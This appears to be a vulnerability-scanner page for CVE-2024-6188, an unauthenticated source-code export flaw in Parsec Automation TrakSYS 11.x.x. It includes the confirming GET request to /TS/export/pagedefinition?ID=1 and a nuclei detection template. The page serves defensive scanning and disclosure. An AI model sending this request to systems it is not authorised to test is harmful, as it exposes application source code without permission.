TrakSYS 11.x.x - Sensitive Data Exposure

mediumseverity

2%likelihood of exploitation, next 30 days

81%of all CVEs are less likely

Readycheck to confirm it

A vulnerability was found in Parsec Automation TrackSYS 11.x.x and classified as problematic. This issue affects some unknown processing of the file /TS/export/pagedefinition. The manipulation of the argument ID leads to direct request. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used.

Impact

An attacker is able to export the source code of the pages without having any credentials to access the application.

Fix

Apply the latest security patches and updates from the vendor to address this vulnerability.

How to confirm it

Send: GET /TS/export/pagedefinition?ID=1
Positive when: contains "TrakSYS Version" and "Name" and "Altname" AND contains in content_type "text/plain" AND status 200

Run it with nuclei: nuclei -id CVE-2024-6188 -u <target>

The full check

id: CVE-2024-6188

info:
  name: TrakSYS 11.x.x - Sensitive Data Exposure
  author: s4e-io
  severity: medium
  description: |
    A vulnerability was found in Parsec Automation TrackSYS 11.x.x and classified as problematic. This issue affects some unknown processing of the file /TS/export/pagedefinition. The manipulation of the argument ID leads to direct request. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used.
  remediation: |
    Apply the latest security patches and updates from the vendor to address this vulnerability.
  impact: An attacker is able to export the source code of the pages without having any credentials to access the application.
  reference:
    - https://kiwiyumi.com/post/tracksys-export-source-code/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-6188
    - https://www.incibe.es/en/incibe-cert/early-warning/vulnerabilities/cve-2024-6188
    - https://debricked.com/vulnerability-database/vulnerability/CVE-2024-6188
  classification:
    epss-score: 0.02036
    epss-percentile: 0.81257
  metadata:
    verified: true
    max-request: 1
    vendor: parsec-automation
    product: tracksys
  tags: cve,cve2024,traksys,idor,info-leak,vkev,vuln

http:
  - raw:
      - |
        GET /TS/export/pagedefinition?ID=1 HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "TrakSYS Version"
          - "Name"
          - "Altname"
        condition: and

      - type: word
        part: content_type
        words:
          - "text/plain"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from